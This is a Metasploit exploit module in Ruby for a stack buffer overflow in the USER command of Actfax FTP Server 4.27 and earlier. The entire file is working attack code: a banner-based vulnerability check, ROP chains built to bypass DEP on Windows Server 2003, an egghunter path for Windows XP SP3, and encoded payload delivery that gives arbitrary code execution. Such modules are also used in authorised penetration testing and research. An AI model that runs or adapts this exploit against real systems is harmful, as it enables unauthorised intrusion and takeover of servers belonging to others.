require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Ftp
include Msf::Exploit::Remote::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'Actfax FTP Server <= v4.27 USER Command Stack Buffer Overflow',
'Description'=> %q{
This module exploits a stack-based buffer overflow in actfax ftp Server
version 4.27 and earlier. Actfax fails to check input size when parsing 'USER' command.
This vulnerability results in arbitray code execution. This module has been designed to
bypass DEP under Windows Server 2003 SP2/R2.
},
'Author' =>
[
'mr_me - twitter.com/net__ninja & mrme.mythsec<at>gmail.com',
'chap0 - chap0.mythsec<at>gmail.com',
],
'License'=> MSF_LICENSE,
'Version'=> '$Revision: 12540 $',
'References' =>
[
[ 'OSVDB', '72520' ],
[ 'URL', 'http://www.exploit-db.com/exploits/16177/' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Privileged' => false,
'Payload'=>
{
'Space'=> 600,
'DisableNops' => true,
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
},
'Platform' => 'win',
'Targets'=>
[
[ 'Windows Server 2003 + DEP bypass - NTDLL v5.2.3790.4789', { 'Ret' => 0x7C813C8F } ],
[ 'Windows Server 2003 + DEP bypass - NTDLL v5.2.3790.3959', { 'Ret' => 0x7C813DE7 } ],
[ 'Windows XP SP3 - Universal', { 'Ret' => 0x004021C5 } ],
],
'DisclosureDate' => 'Jul 31 2011',
'DefaultTarget' => 0))
end
def check
connect
disconnect
if (banner =~ /Version 4.27/ || banner =~ /Version 4.25/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def get_encoded_payload(p, reg)
encoder = framework.encoders.create("x86/alpha_mixed")
encoder.datastore.import_options_from_hash( {'BufferRegister'=>reg} )
rencoded_payload = encoder.encode(p, nil, nil, platform)
return rencoded_payload
end
def junk
return rand_text_alpha(4).unpack("L")[0].to_i
end
def exploit
connect
if (target.name =~ /Server 2003/)
sc = get_encoded_payload(payload.encoded, "ESP")
rop_stage1= "\x42\x28\x5f"
rop_stage1+= [0x5f282336].pack("V*") * 51
rop_stage1 +=
[
0x5F29C7F8,
0x5F2B5DC3,
junk,
0x5f29aa95,
0x5F2A32DA,
junk,
junk,
junk,
0x5f282336,
junk,
junk,
].pack("V*")
rop_stage1 += [0x5F2A345D].pack("V*")
rop_stage1 += rand_text_alpha(1)
stack_alignment = rand_text_alpha(3)
rop_stage2 =
[
0x204C2135,
0x2051E1B0,
0x2051D7A1,
0x2040A4A0,
0x2040A4A0,
0x20422E7D,
0x2040F2c2,
0x204A5DED,
0x20202120,
0x204C2135,
0x44444444,
0x20415D7A,
0x20404A3F,
0x20202040,
0x2045AB53,
].pack("V*")
print_status("Targeting %s" % target.name)
sploit = rop_stage1
sploit << [target.ret].pack("V")
sploit << stack_alignment
sploit << rop_stage2
sploit << sc
sploit << rand_text_alpha((990-sploit.length))
else
eggoptions =
{
:checksum => false,
:eggtag => 'lulz',
}
sc = get_encoded_payload(payload.encoded, "EDI")
hunter,egg = generate_egghunter(sc, nil, eggoptions)
hunter = get_encoded_payload(hunter, "EDI")
print_status("Targeting %s" % target.name)
print_status("Sending stage 1 exploit buffer...")
send_cmd(['USER', 'anonymous'], true)
send_cmd(['PASS', egg], false)
sploit = hunter
sploit << rand_text_alpha(256-sploit.length)
sploit << [target.ret].pack("V")
connect
end
send_cmd(['USER', sploit] , false)
handler
disconnect
end
end